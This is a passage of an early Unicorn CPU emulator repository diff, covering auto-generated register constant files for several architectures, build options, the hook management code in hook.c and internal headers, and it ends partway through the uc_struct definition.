ARM64_REG_V3 = 231
ARM64_REG_V4 = 232
ARM64_REG_V5 = 233
ARM64_REG_V6 = 234
ARM64_REG_V7 = 235
ARM64_REG_V8 = 236
ARM64_REG_V9 = 237
ARM64_REG_V10 = 238
ARM64_REG_V11 = 239
ARM64_REG_V12 = 240
ARM64_REG_V13 = 241
ARM64_REG_V14 = 242
ARM64_REG_V15 = 243
ARM64_REG_V16 = 244
ARM64_REG_V17 = 245
ARM64_REG_V18 = 246
ARM64_REG_V19 = 247
ARM64_REG_V20 = 248
ARM64_REG_V21 = 249
ARM64_REG_V22 = 250
ARM64_REG_V23 = 251
ARM64_REG_V24 = 252
ARM64_REG_V25 = 253
ARM64_REG_V26 = 254
ARM64_REG_V27 = 255
ARM64_REG_V28 = 256
ARM64_REG_V29 = 257
ARM64_REG_V30 = 258
ARM64_REG_V31 = 259
# pseudo registers
ARM64_REG_PC = 260
ARM64_REG_ENDING = 261
# alias registers
ARM64_REG_IP1 = ARM64_REG_X16
ARM64_REG_IP0 = ARM64_REG_X17
ARM64_REG_FP = ARM64_REG_X29
ARM64_REG_LR = ARM64_REG_X30

View file

@ -0,0 +1,125 @@
# For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT [arm_const.py]
# ARM registers
ARM_REG_INVALID = 0
ARM_REG_APSR = 1
ARM_REG_APSR_NZCV = 2
ARM_REG_CPSR = 3
ARM_REG_FPEXC = 4
ARM_REG_FPINST = 5
ARM_REG_FPSCR = 6
ARM_REG_FPSCR_NZCV = 7
ARM_REG_FPSID = 8
ARM_REG_ITSTATE = 9
ARM_REG_LR = 10
ARM_REG_PC = 11
ARM_REG_SP = 12
ARM_REG_SPSR = 13
ARM_REG_D0 = 14
ARM_REG_D1 = 15
ARM_REG_D2 = 16
ARM_REG_D3 = 17
ARM_REG_D4 = 18
ARM_REG_D5 = 19
ARM_REG_D6 = 20
ARM_REG_D7 = 21
ARM_REG_D8 = 22
ARM_REG_D9 = 23
ARM_REG_D10 = 24
ARM_REG_D11 = 25
ARM_REG_D12 = 26
ARM_REG_D13 = 27
ARM_REG_D14 = 28
ARM_REG_D15 = 29
ARM_REG_D16 = 30
ARM_REG_D17 = 31
ARM_REG_D18 = 32
ARM_REG_D19 = 33
ARM_REG_D20 = 34
ARM_REG_D21 = 35
ARM_REG_D22 = 36
ARM_REG_D23 = 37
ARM_REG_D24 = 38
ARM_REG_D25 = 39
ARM_REG_D26 = 40
ARM_REG_D27 = 41
ARM_REG_D28 = 42
ARM_REG_D29 = 43
ARM_REG_D30 = 44
ARM_REG_D31 = 45
ARM_REG_FPINST2 = 46
ARM_REG_MVFR0 = 47
ARM_REG_MVFR1 = 48
ARM_REG_MVFR2 = 49
ARM_REG_Q0 = 50
ARM_REG_Q1 = 51
ARM_REG_Q2 = 52
ARM_REG_Q3 = 53
ARM_REG_Q4 = 54
ARM_REG_Q5 = 55
ARM_REG_Q6 = 56
ARM_REG_Q7 = 57
ARM_REG_Q8 = 58
ARM_REG_Q9 = 59
ARM_REG_Q10 = 60
ARM_REG_Q11 = 61
ARM_REG_Q12 = 62
ARM_REG_Q13 = 63
ARM_REG_Q14 = 64
ARM_REG_Q15 = 65
ARM_REG_R0 = 66
ARM_REG_R1 = 67
ARM_REG_R2 = 68
ARM_REG_R3 = 69
ARM_REG_R4 = 70
ARM_REG_R5 = 71
ARM_REG_R6 = 72
ARM_REG_R7 = 73
ARM_REG_R8 = 74
ARM_REG_R9 = 75
ARM_REG_R10 = 76
ARM_REG_R11 = 77
ARM_REG_R12 = 78
ARM_REG_S0 = 79
ARM_REG_S1 = 80
ARM_REG_S2 = 81
ARM_REG_S3 = 82
ARM_REG_S4 = 83
ARM_REG_S5 = 84
ARM_REG_S6 = 85
ARM_REG_S7 = 86
ARM_REG_S8 = 87
ARM_REG_S9 = 88
ARM_REG_S10 = 89
ARM_REG_S11 = 90
ARM_REG_S12 = 91
ARM_REG_S13 = 92
ARM_REG_S14 = 93
ARM_REG_S15 = 94
ARM_REG_S16 = 95
ARM_REG_S17 = 96
ARM_REG_S18 = 97
ARM_REG_S19 = 98
ARM_REG_S20 = 99
ARM_REG_S21 = 100
ARM_REG_S22 = 101
ARM_REG_S23 = 102
ARM_REG_S24 = 103
ARM_REG_S25 = 104
ARM_REG_S26 = 105
ARM_REG_S27 = 106
ARM_REG_S28 = 107
ARM_REG_S29 = 108
ARM_REG_S30 = 109
ARM_REG_S31 = 110
ARM_REG_ENDING = 111
# alias registers
ARM_REG_R13 = ARM_REG_SP
ARM_REG_R14 = ARM_REG_LR
ARM_REG_R15 = ARM_REG_PC
ARM_REG_SB = ARM_REG_R9
ARM_REG_SL = ARM_REG_R10
ARM_REG_FP = ARM_REG_R11
ARM_REG_IP = ARM_REG_R12

View file

@ -0,0 +1,24 @@
# For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT [m68k_const.py]
# M68K registers
M68K_REG_INVALID = 0
M68K_REG_A0 = 1
M68K_REG_A1 = 2
M68K_REG_A2 = 3
M68K_REG_A3 = 4
M68K_REG_A4 = 5
M68K_REG_A5 = 6
M68K_REG_A6 = 7
M68K_REG_A7 = 8
M68K_REG_D0 = 9
M68K_REG_D1 = 10
M68K_REG_D2 = 11
M68K_REG_D3 = 12
M68K_REG_D4 = 13
M68K_REG_D5 = 14
M68K_REG_D6 = 15
M68K_REG_D7 = 16
M68K_REG_SR = 17
M68K_REG_PC = 18
M68K_REG_ENDING = 19

View file

@ -0,0 +1,195 @@
# For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT [mips_const.py]
# MIPS registers
MIPS_REG_INVALID = 0
# General purpose registers
MIPS_REG_PC = 1
MIPS_REG_0 = 2
MIPS_REG_1 = 3
MIPS_REG_2 = 4
MIPS_REG_3 = 5
MIPS_REG_4 = 6
MIPS_REG_5 = 7
MIPS_REG_6 = 8
MIPS_REG_7 = 9
MIPS_REG_8 = 10
MIPS_REG_9 = 11
MIPS_REG_10 = 12
MIPS_REG_11 = 13
MIPS_REG_12 = 14
MIPS_REG_13 = 15
MIPS_REG_14 = 16
MIPS_REG_15 = 17
MIPS_REG_16 = 18
MIPS_REG_17 = 19
MIPS_REG_18 = 20
MIPS_REG_19 = 21
MIPS_REG_20 = 22
MIPS_REG_21 = 23
MIPS_REG_22 = 24
MIPS_REG_23 = 25
MIPS_REG_24 = 26
MIPS_REG_25 = 27
MIPS_REG_26 = 28
MIPS_REG_27 = 29
MIPS_REG_28 = 30
MIPS_REG_29 = 31
MIPS_REG_30 = 32
MIPS_REG_31 = 33
# DSP registers
MIPS_REG_DSPCCOND = 34
MIPS_REG_DSPCARRY = 35
MIPS_REG_DSPEFI = 36
MIPS_REG_DSPOUTFLAG = 37
MIPS_REG_DSPOUTFLAG16_19 = 38
MIPS_REG_DSPOUTFLAG20 = 39
MIPS_REG_DSPOUTFLAG21 = 40
MIPS_REG_DSPOUTFLAG22 = 41
MIPS_REG_DSPOUTFLAG23 = 42
MIPS_REG_DSPPOS = 43
MIPS_REG_DSPSCOUNT = 44
# ACC registers
MIPS_REG_AC0 = 45
MIPS_REG_AC1 = 46
MIPS_REG_AC2 = 47
MIPS_REG_AC3 = 48
# COP registers
MIPS_REG_CC0 = 49
MIPS_REG_CC1 = 50
MIPS_REG_CC2 = 51
MIPS_REG_CC3 = 52
MIPS_REG_CC4 = 53
MIPS_REG_CC5 = 54
MIPS_REG_CC6 = 55
MIPS_REG_CC7 = 56
# FPU registers
MIPS_REG_F0 = 57
MIPS_REG_F1 = 58
MIPS_REG_F2 = 59
MIPS_REG_F3 = 60
MIPS_REG_F4 = 61
MIPS_REG_F5 = 62
MIPS_REG_F6 = 63
MIPS_REG_F7 = 64
MIPS_REG_F8 = 65
MIPS_REG_F9 = 66
MIPS_REG_F10 = 67
MIPS_REG_F11 = 68
MIPS_REG_F12 = 69
MIPS_REG_F13 = 70
MIPS_REG_F14 = 71
MIPS_REG_F15 = 72
MIPS_REG_F16 = 73
MIPS_REG_F17 = 74
MIPS_REG_F18 = 75
MIPS_REG_F19 = 76
MIPS_REG_F20 = 77
MIPS_REG_F21 = 78
MIPS_REG_F22 = 79
MIPS_REG_F23 = 80
MIPS_REG_F24 = 81
MIPS_REG_F25 = 82
MIPS_REG_F26 = 83
MIPS_REG_F27 = 84
MIPS_REG_F28 = 85
MIPS_REG_F29 = 86
MIPS_REG_F30 = 87
MIPS_REG_F31 = 88
MIPS_REG_FCC0 = 89
MIPS_REG_FCC1 = 90
MIPS_REG_FCC2 = 91
MIPS_REG_FCC3 = 92
MIPS_REG_FCC4 = 93
MIPS_REG_FCC5 = 94
MIPS_REG_FCC6 = 95
MIPS_REG_FCC7 = 96
# AFPR128
MIPS_REG_W0 = 97
MIPS_REG_W1 = 98
MIPS_REG_W2 = 99
MIPS_REG_W3 = 100
MIPS_REG_W4 = 101
MIPS_REG_W5 = 102
MIPS_REG_W6 = 103
MIPS_REG_W7 = 104
MIPS_REG_W8 = 105
MIPS_REG_W9 = 106
MIPS_REG_W10 = 107
MIPS_REG_W11 = 108
MIPS_REG_W12 = 109
MIPS_REG_W13 = 110
MIPS_REG_W14 = 111
MIPS_REG_W15 = 112
MIPS_REG_W16 = 113
MIPS_REG_W17 = 114
MIPS_REG_W18 = 115
MIPS_REG_W19 = 116
MIPS_REG_W20 = 117
MIPS_REG_W21 = 118
MIPS_REG_W22 = 119
MIPS_REG_W23 = 120
MIPS_REG_W24 = 121
MIPS_REG_W25 = 122
MIPS_REG_W26 = 123
MIPS_REG_W27 = 124
MIPS_REG_W28 = 125
MIPS_REG_W29 = 126
MIPS_REG_W30 = 127
MIPS_REG_W31 = 128
MIPS_REG_HI = 129
MIPS_REG_LO = 130
MIPS_REG_P0 = 131
MIPS_REG_P1 = 132
MIPS_REG_P2 = 133
MIPS_REG_MPL0 = 134
MIPS_REG_MPL1 = 135
MIPS_REG_MPL2 = 136
MIPS_REG_ENDING = 137
MIPS_REG_ZERO = MIPS_REG_0
MIPS_REG_AT = MIPS_REG_1
MIPS_REG_V0 = MIPS_REG_2
MIPS_REG_V1 = MIPS_REG_3
MIPS_REG_A0 = MIPS_REG_4
MIPS_REG_A1 = MIPS_REG_5
MIPS_REG_A2 = MIPS_REG_6
MIPS_REG_A3 = MIPS_REG_7
MIPS_REG_T0 = MIPS_REG_8
MIPS_REG_T1 = MIPS_REG_9
MIPS_REG_T2 = MIPS_REG_10
MIPS_REG_T3 = MIPS_REG_11
MIPS_REG_T4 = MIPS_REG_12
MIPS_REG_T5 = MIPS_REG_13
MIPS_REG_T6 = MIPS_REG_14
MIPS_REG_T7 = MIPS_REG_15
MIPS_REG_S0 = MIPS_REG_16
MIPS_REG_S1 = MIPS_REG_17
MIPS_REG_S2 = MIPS_REG_18
MIPS_REG_S3 = MIPS_REG_19
MIPS_REG_S4 = MIPS_REG_20
MIPS_REG_S5 = MIPS_REG_21
MIPS_REG_S6 = MIPS_REG_22
MIPS_REG_S7 = MIPS_REG_23
MIPS_REG_T8 = MIPS_REG_24
MIPS_REG_T9 = MIPS_REG_25
MIPS_REG_K0 = MIPS_REG_26
MIPS_REG_K1 = MIPS_REG_27
MIPS_REG_GP = MIPS_REG_28
MIPS_REG_SP = MIPS_REG_29
MIPS_REG_FP = MIPS_REG_30
MIPS_REG_S8 = MIPS_REG_30
MIPS_REG_RA = MIPS_REG_31
MIPS_REG_HI0 = MIPS_REG_AC0
MIPS_REG_HI1 = MIPS_REG_AC1
MIPS_REG_HI2 = MIPS_REG_AC2
MIPS_REG_HI3 = MIPS_REG_AC3
MIPS_REG_LO0 = MIPS_REG_HI0
MIPS_REG_LO1 = MIPS_REG_HI1
MIPS_REG_LO2 = MIPS_REG_HI2
MIPS_REG_LO3 = MIPS_REG_HI3

View file

@ -0,0 +1,96 @@
# For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT [sparc_const.py]
# SPARC registers
SPARC_REG_INVALID = 0
SPARC_REG_F0 = 1
SPARC_REG_F1 = 2
SPARC_REG_F2 = 3
SPARC_REG_F3 = 4
SPARC_REG_F4 = 5
SPARC_REG_F5 = 6
SPARC_REG_F6 = 7
SPARC_REG_F7 = 8
SPARC_REG_F8 = 9
SPARC_REG_F9 = 10
SPARC_REG_F10 = 11
SPARC_REG_F11 = 12
SPARC_REG_F12 = 13
SPARC_REG_F13 = 14
SPARC_REG_F14 = 15
SPARC_REG_F15 = 16
SPARC_REG_F16 = 17
SPARC_REG_F17 = 18
SPARC_REG_F18 = 19
SPARC_REG_F19 = 20
SPARC_REG_F20 = 21
SPARC_REG_F21 = 22
SPARC_REG_F22 = 23
SPARC_REG_F23 = 24
SPARC_REG_F24 = 25
SPARC_REG_F25 = 26
SPARC_REG_F26 = 27
SPARC_REG_F27 = 28
SPARC_REG_F28 = 29
SPARC_REG_F29 = 30
SPARC_REG_F30 = 31
SPARC_REG_F31 = 32
SPARC_REG_F32 = 33
SPARC_REG_F34 = 34
SPARC_REG_F36 = 35
SPARC_REG_F38 = 36
SPARC_REG_F40 = 37
SPARC_REG_F42 = 38
SPARC_REG_F44 = 39
SPARC_REG_F46 = 40
SPARC_REG_F48 = 41
SPARC_REG_F50 = 42
SPARC_REG_F52 = 43
SPARC_REG_F54 = 44
SPARC_REG_F56 = 45
SPARC_REG_F58 = 46
SPARC_REG_F60 = 47
SPARC_REG_F62 = 48
SPARC_REG_FCC0 = 49
SPARC_REG_FCC1 = 50
SPARC_REG_FCC2 = 51
SPARC_REG_FCC3 = 52
SPARC_REG_FP = 53
SPARC_REG_G0 = 54
SPARC_REG_G1 = 55
SPARC_REG_G2 = 56
SPARC_REG_G3 = 57
SPARC_REG_G4 = 58
SPARC_REG_G5 = 59
SPARC_REG_G6 = 60
SPARC_REG_G7 = 61
SPARC_REG_I0 = 62
SPARC_REG_I1 = 63
SPARC_REG_I2 = 64
SPARC_REG_I3 = 65
SPARC_REG_I4 = 66
SPARC_REG_I5 = 67
SPARC_REG_I7 = 68
SPARC_REG_ICC = 69
SPARC_REG_L0 = 70
SPARC_REG_L1 = 71
SPARC_REG_L2 = 72
SPARC_REG_L3 = 73
SPARC_REG_L4 = 74
SPARC_REG_L5 = 75
SPARC_REG_L6 = 76
SPARC_REG_L7 = 77
SPARC_REG_O0 = 78
SPARC_REG_O1 = 79
SPARC_REG_O2 = 80
SPARC_REG_O3 = 81
SPARC_REG_O4 = 82
SPARC_REG_O5 = 83
SPARC_REG_O7 = 84
SPARC_REG_SP = 85
SPARC_REG_Y = 86
SPARC_REG_XCC = 87
SPARC_REG_PC = 88
SPARC_REG_ENDING = 89
SPARC_REG_O6 = SPARC_REG_SP
SPARC_REG_I6 = SPARC_REG_FP

File diff suppressed because it is too large Load diff

30
config.mk Normal file
View file

@ -0,0 +1,30 @@
# Unicorn Emulator Engine
# By Nguyen Anh Quynh, 2015
# This file contains all customized compile options for Unicorn emulator.
# Consult COMPILE.TXT & docs/README for more details.
################################################################################
# Compile with debug info when you want to debug code.
# Change this to 'no' for release edition.
UNICORN_DEBUG ?= yes
################################################################################
# Specify which archs you want to compile in. By default, we build all archs.
UNICORN_ARCHS ?= x86 m68k arm aarch64 mips sparc
################################################################################
# Change 'UNICORN_STATIC = yes' to 'UNICORN_STATIC = no' to avoid building
# a static library.
UNICORN_STATIC ?= yes
################################################################################
# Change 'UNICORN_SHARED = yes' to 'UNICORN_SHARED = no' to avoid building
# a shared library.
UNICORN_SHARED ?= yes

BIN
docs/BHUSA2015-unicorn.pdf Normal file

Binary file not shown.

1
docs/README Normal file
View file

@ -0,0 +1 @@
tutorials & docs come here.

BIN
docs/unicorn-logo.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 59 KiB

274
hook.c Normal file
View file

@ -0,0 +1,274 @@
/* Unicorn Emulator Engine */
/* By Nguyen Anh Quynh <aquynh@gmail.com>, 2015 */
#include "uc_priv.h"
#include "hook.h"
// return index for a new hook entry in hook_callbacks[] array.
// this realloc memory if needed.
size_t hook_find_new(struct uc_struct *uc)
{
size_t i;
struct hook_struct *new;
// find the first free slot. skip slot 0, so index > 0
for(i = 1; i < uc->hook_size; i++) {
if (uc->hook_callbacks[i].callback == NULL) {
return i;
}
}
// not found, so the array is full.
// we have to realloc hook_callbacks[] to contain new hooks
new = realloc(uc->hook_callbacks,
(uc->hook_size + HOOK_SIZE) * sizeof(uc->hook_callbacks[0]));
if (!new) // OOM ?
return 0;
// reset the newly added slots
memset(new + uc->hook_size * sizeof(uc->hook_callbacks[0]), 0,
HOOK_SIZE * sizeof(uc->hook_callbacks[0]));
uc->hook_callbacks = new;
uc->hook_size += HOOK_SIZE;
// return the first newly allocated slot
return uc->hook_size - HOOK_SIZE;
}
// return -1 on failure, index to hook_callbacks[] on success.
size_t hook_add(uch handle, int type, uint64_t begin, uint64_t end, void *callback, void *user_data)
{
int i;
struct uc_struct *uc = (struct uc_struct *)(uintptr_t)handle;
if (handle == 0)
return -1;
// find the first free slot. skip slot 0, so index > 0
i = hook_find_new(uc);
if (i) {
uc->hook_callbacks[i].hook_type = type;
uc->hook_callbacks[i].begin = begin;
uc->hook_callbacks[i].end = end;
uc->hook_callbacks[i].callback = callback;
uc->hook_callbacks[i].user_data = user_data;
switch(type) {
default: break;
case UC_HOOK_BLOCK:
uc->hook_block = true;
if (begin > end)
uc->hook_block_idx = i;
break;
case UC_HOOK_CODE:
uc->hook_insn = true;
if (begin > end)
uc->hook_insn_idx = i;
break;
case UC_MEM_READ:
uc->hook_mem_read = true;
if (begin > end)
uc->hook_read_idx = i;
break;
case UC_MEM_WRITE:
uc->hook_mem_write = true;
if (begin > end)
uc->hook_write_idx = i;
break;
case UC_MEM_READ_WRITE:
uc->hook_mem_read = true;
uc->hook_mem_write = true;
if (begin > end) {
uc->hook_read_idx = i;
uc->hook_write_idx = i;
}
break;
}
return i;
}
// not found
return 0;
}
// return 0 on success, -1 on failure
uc_err hook_del(uch handle, uch *h2)
{
struct uc_struct *uc = (struct uc_struct *)(uintptr_t)handle;
if (handle == 0)
return UC_ERR_UCH;
if (*h2 == uc->hook_block_idx) {
uc->hook_block_idx = 0;
}
if (*h2 == uc->hook_insn_idx) {
uc->hook_insn_idx = 0;
}
if (*h2 == uc->hook_read_idx) {
uc->hook_read_idx = 0;
}
if (*h2 == uc->hook_write_idx) {
uc->hook_write_idx = 0;
}
if (*h2 == uc->hook_mem_idx) {
uc->hook_mem_idx = 0;
}
if (*h2 == uc->hook_intr_idx) {
uc->hook_intr_idx = 0;
}
if (*h2 == uc->hook_out_idx) {
uc->hook_out_idx = 0;
}
if (*h2 == uc->hook_in_idx) {
uc->hook_in_idx = 0;
}
uc->hook_callbacks[*h2].callback = NULL;
uc->hook_callbacks[*h2].user_data = NULL;
uc->hook_callbacks[*h2].hook_type = 0;
uc->hook_callbacks[*h2].begin = 0;
uc->hook_callbacks[*h2].end = 0;
*h2 = 0;
return UC_ERR_OK;
}
// return NULL on failure
static struct hook_struct *_hook_find(struct uc_struct *uc, int type, uint64_t address)
{
int i;
switch(type) {
default: break;
case UC_HOOK_BLOCK:
// already hooked all blocks?
if (uc->hook_block_idx)
return &uc->hook_callbacks[uc->hook_block_idx];
break;
case UC_HOOK_CODE:
// already hooked all the code?
if (uc->hook_insn_idx)
return &uc->hook_callbacks[uc->hook_insn_idx];
break;
case UC_MEM_READ:
// already hooked all memory read?
if (uc->hook_read_idx)
return &uc->hook_callbacks[uc->hook_read_idx];
break;
case UC_MEM_WRITE:
// already hooked all memory write?
if (uc->hook_write_idx)
return &uc->hook_callbacks[uc->hook_write_idx];
break;
}
// no trace-all callback
for(i = 1; i < uc->hook_size; i++) {
switch(type) {
default: break;
case UC_HOOK_BLOCK:
case UC_HOOK_CODE:
if (uc->hook_callbacks[i].hook_type == type) {
if (uc->hook_callbacks[i].begin <= address && address <= uc->hook_callbacks[i].end)
return &uc->hook_callbacks[i];
}
break;
case UC_MEM_READ:
if (uc->hook_callbacks[i].hook_type == UC_MEM_READ || uc->hook_callbacks[i].hook_type == UC_MEM_READ_WRITE) {
if (uc->hook_callbacks[i].begin <= address && address <= uc->hook_callbacks[i].end)
return &uc->hook_callbacks[i];
}
break;
case UC_MEM_WRITE:
if (uc->hook_callbacks[i].hook_type == UC_MEM_WRITE || uc->hook_callbacks[i].hook_type == UC_MEM_READ_WRITE) {
if (uc->hook_callbacks[i].begin <= address && address <= uc->hook_callbacks[i].end)
return &uc->hook_callbacks[i];
}
break;
}
}
// not found
return NULL;
}
static void hook_count_cb(uch handle, uint64_t address, uint32_t size, void *user_data)
{
struct uc_struct *uc = (struct uc_struct *)(uintptr_t)handle;
// count this instruction
uc->emu_counter++;
if (uc->emu_counter > uc->emu_count)
uc_emu_stop(handle);
else if (uc->hook_count_callback)
uc->hook_count_callback(handle, address, size, user_data);
}
struct hook_struct *hook_find(uch handle, int type, uint64_t address)
{
struct uc_struct *uc = (struct uc_struct *)(uintptr_t)handle;
if (handle == 0)
return NULL;
// stop executing callbacks if we already got stop request
if (uc->stop_request)
return NULL;
// UC_HOOK_CODE is special because we may need to count instructions
if (type == UC_HOOK_CODE && uc->emu_count > 0) {
struct hook_struct *st = _hook_find(uc, type, address);
if (st) {
// prepare this struct to pass back to caller
uc->hook_count.hook_type = UC_HOOK_CODE;
uc->hook_count.begin = st->begin;
uc->hook_count.end = st->end;
uc->hook_count.callback = hook_count_cb;
uc->hook_count.user_data = st->user_data;
// save this hook callback so we can call it later
uc->hook_count_callback = st->callback;
} else {
// there is no callback, but we still need to
// handle instruction count
uc->hook_count.hook_type = UC_HOOK_CODE;
uc->hook_count.begin = 1;
uc->hook_count.end = 0;
uc->hook_count.callback = hook_count_cb;
uc->hook_count.user_data = NULL;
uc->hook_count_callback = NULL; // no callback
}
return &(uc->hook_count);
} else
return _hook_find(uc, type, address);
}
// TCG helper
void helper_uc_tracecode(int32_t size, void *callback, void *handle, int64_t address, void *user_data);
void helper_uc_tracecode(int32_t size, void *callback, void *handle, int64_t address, void *user_data)
{
struct uc_struct *uc = handle;
// sync PC in CPUArchState with address
if (uc->set_pc) {
uc->set_pc(uc, address);
}
((uc_cb_hookcode_t)callback)((uch)handle, address, size, user_data);
}

20
include/hook.h Normal file
View file

@ -0,0 +1,20 @@
/* Unicorn Emulator Engine */
/* By Nguyen Anh Quynh <aquynh@gmail.com>, 2015 */
#ifndef UC_HOOK_H
#define UC_HOOK_H
// return -1 on failure, index to traces[] on success.
size_t hook_add(uch handle, int type, uint64_t begin, uint64_t end, void *callback, void *user_data);
// return 0 on success, -1 on failure
uc_err hook_del(uch handle, uch *traceh);
// return NULL on failure
struct hook_struct *hook_find(uch handle, int type, uint64_t address);
// return index of an free hook entry in hook_callbacks[] array.
// this realloc memory if needed.
size_t hook_find_new(struct uc_struct *uc);
#endif

54
include/qemu.h Normal file
View file

@ -0,0 +1,54 @@
/* By Dang Hoang Vu <dang.hvu -at- gmail.com>, 2015 */
#ifndef UC_QEMU_H
#define UC_QEMU_H
struct uc_struct;
#define OPC_BUF_SIZE 640
#include "sysemu/sysemu.h"
#include "sysemu/cpus.h"
#include "exec/cpu-common.h"
#include "exec/memory.h"
#include "qemu/thread.h"
#include "include/qom/cpu.h"
#include "exec/spinlock.h"
#include "vl.h"
// This two struct is originally from qemu/include/exec/cpu-all.h
// Temporarily moved here since there is circular inclusion.
typedef struct RAMBlock {
struct MemoryRegion *mr;
uint8_t *host;
ram_addr_t offset;
ram_addr_t length;
uint32_t flags;
char idstr[256];
/* Reads can take either the iothread or the ramlist lock.
* Writes must take both locks.
*/
QTAILQ_ENTRY(RAMBlock) next;
int fd;
} RAMBlock;
typedef struct {
MemoryRegion *mr;
void *buffer;
hwaddr addr;
hwaddr len;
} BounceBuffer;
typedef struct RAMList {
QemuMutex mutex;
/* Protected by the iothread lock. */
unsigned long *dirty_memory[DIRTY_MEMORY_NUM];
RAMBlock *mru_block;
/* Protected by the ramlist lock. */
QTAILQ_HEAD(, RAMBlock) blocks;
uint32_t version;
} RAMList;
#endif

13
include/qemu_macro.h Normal file
View file

@ -0,0 +1,13 @@
/* By Dang Hoang Vu <dang.hvu -at- gmail.com>, 2015 */
#ifndef UC_QEMU_MACRO_H
#define UC_QEMU_MACRO_H
#define CPU_NEXT(cpu) QTAILQ_NEXT(cpu, node)
#define CPU_FOREACH(cpu) QTAILQ_FOREACH(cpu, &uc->cpus, node)
#define CPU_FOREACH_SAFE(cpu, next_cpu) \
QTAILQ_FOREACH_SAFE(cpu, &cpu->uc->cpus, node, next_cpu)
#define first_cpu QTAILQ_FIRST(&uc->cpus)
#endif

170
include/uc_priv.h Normal file
View file

@ -0,0 +1,170 @@
/* Unicorn Emulator Engine */
/* By Nguyen Anh Quynh <aquynh@gmail.com>, 2015 */
#ifndef UC_PRIV_H
#define UC_PRIV_H
#include <stdint.h>
#include <stdio.h>
#include "qemu.h"
#include "unicorn/unicorn.h"
#include "hook.h"
#define ARR_SIZE(a) (sizeof(a)/sizeof(a[0]))
QTAILQ_HEAD(CPUTailQ, CPUState);
typedef struct ModuleEntry {
void (*init)(void);
QTAILQ_ENTRY(ModuleEntry) node;
module_init_type type;
} ModuleEntry;
typedef QTAILQ_HEAD(, ModuleEntry) ModuleTypeList;
// return 0 on success, -1 on failure
typedef int (*reg_access_t)(uch handle, unsigned int regid, void *value);
typedef void (*reg_reset_t)(uch handle);
typedef bool (*uc_write_mem_t)(AddressSpace *as, hwaddr addr, uint8_t *buf, int len);
typedef bool (*uc_read_mem_t)(AddressSpace *as, hwaddr addr, uint8_t *buf, int len);
typedef void (*uc_args_void_t)(void*);
typedef void (*uc_args_uc_t)(struct uc_struct*);
typedef bool (*uc_args_tcg_enable_t)(struct uc_struct*);
typedef void (*uc_minit_t)(struct uc_struct*, ram_addr_t);
typedef void (*uc_args_uc_long_t)(struct uc_struct*, unsigned long);
typedef void (*uc_args_uc_u64_t)(struct uc_struct *, uint64_t addr);
typedef int (*uc_args_uc_ram_size_t)(struct uc_struct*, ram_addr_t begin, size_t size);
// which interrupt should make emulation stop?
typedef bool (*uc_args_int_t)(int intno);
struct hook_struct {
int hook_type; // uc_tracecode_type & uc_tracemem_type
uint64_t begin, end; // range of address to be monitored
void *callback; // either uc_cb_tracecode_t or uc_cb_tracemem_t
void *user_data;
};
// extend memory to keep 32 more hooks each time
#define HOOK_SIZE 32
struct uc_struct {
uc_arch arch;
uc_mode mode;
QemuMutex qemu_global_mutex; // qemu/cpus.c
QemuCond qemu_cpu_cond; // qemu/cpus.c
QemuThread *tcg_cpu_thread; // qemu/cpus.c
QemuCond *tcg_halt_cond; // qemu/cpus.c
struct CPUTailQ cpus; // qemu/cpu-exec.c
uc_err errnum; // qemu/cpu-exec.c
AddressSpace as;
reg_access_t reg_read, reg_write;
reg_reset_t reg_reset;
uc_write_mem_t write_mem;
uc_read_mem_t read_mem;
uc_args_void_t release; // release resource when uc_close()
uc_args_uc_u64_t set_pc; // set PC for tracecode
uc_args_int_t stop_interrupt; // check if the interrupt should stop emulation
uc_args_uc_t init_arch, pause_all_vcpus, vm_start, cpu_exec_init_all;
uc_args_tcg_enable_t tcg_enabled;
uc_args_uc_long_t tcg_exec_init;
uc_args_uc_ram_size_t memory_map;
// list of cpu
void* cpu;
MemoryRegion *system_memory; // qemu/exec.c
MemoryRegion *ram;
MemoryRegion io_mem_rom; // qemu/exec.c
MemoryRegion io_mem_notdirty; // qemu/exec.c
MemoryRegion io_mem_unassigned; // qemu/exec.c
MemoryRegion io_mem_watch; // qemu/exec.c
RAMList ram_list; // qemu/exec.c
CPUState *next_cpu; // qemu/cpus.c
BounceBuffer bounce; // qemu/cpu-exec.c
volatile sig_atomic_t exit_request; // qemu/cpu-exec.c
spinlock_t x86_global_cpu_lock; // for X86 arch only
bool global_dirty_log; // qemu/memory.c
/* This is a multi-level map on the virtual address space.
The bottom level has pointers to PageDesc. */
void *l1_map; // qemu/translate-all.c
size_t l1_map_size;
/* code generation context */
void *tcg_ctx; // for "TCGContext tcg_ctx" in qemu/translate-all.c
/* memory.c */
unsigned memory_region_transaction_depth;
bool memory_region_update_pending;
bool ioeventfd_update_pending;
QemuMutex flat_view_mutex;
QTAILQ_HEAD(memory_listeners, MemoryListener) memory_listeners;
QTAILQ_HEAD(, AddressSpace) address_spaces;
// qom/object.c
GHashTable *type_table;
Type type_interface;
Object *root;
bool enumerating_types;
// util/module.c
ModuleTypeList init_type_list[MODULE_INIT_MAX];
// hw/intc/apic_common.c
DeviceState *vapic;
int apic_no;
bool mmio_registered;
bool apic_report_tpr_access;
CPUState *current_cpu;
// all the hook callbacks
size_t hook_size;
struct hook_struct *hook_callbacks;
// hook to count number of instructions for uc_emu_start()
struct hook_struct hook_count;
uc_cb_hookcode_t hook_count_callback;
size_t emu_counter; // current counter of uc_emu_start()
size_t emu_count; // save counter of uc_emu_start()
// indexes if hooking ALL block/code/read/write events
unsigned int hook_block_idx, hook_insn_idx, hook_read_idx, hook_write_idx;
// boolean variables for quick check on hooking block, code, memory accesses
bool hook_block, hook_insn, hook_mem_read, hook_mem_write;
uint64_t block_addr; // save the last block address we hooked
// indexes to event callbacks
int hook_mem_idx; // for handling invalid memory access
int hook_intr_idx; // for handling interrupt
int hook_out_idx; // for handling OUT instruction (X86)
int hook_in_idx; // for handling IN instruction (X86)
bool init_tcg; // already initialized local TCGv variables?
bool stop_request; // request to immediately stop emulation - for uc_emu_stop()
bool emulation_done; // emulation is done by uc_emu_start()
QemuThread timer; // timer for emulation timeout
uint64_t timeout; // timeout for uc_emu_start()
uint64_t invalid_addr; // invalid address to be accessed
int invalid_error; // invalid memory code: 1 = READ, 2 = WRITE, 3 = CODE
uint64_t addr_end; // address where emulation stops (@end param of uc_emu_start())
int thumb; // thumb mode for ARM
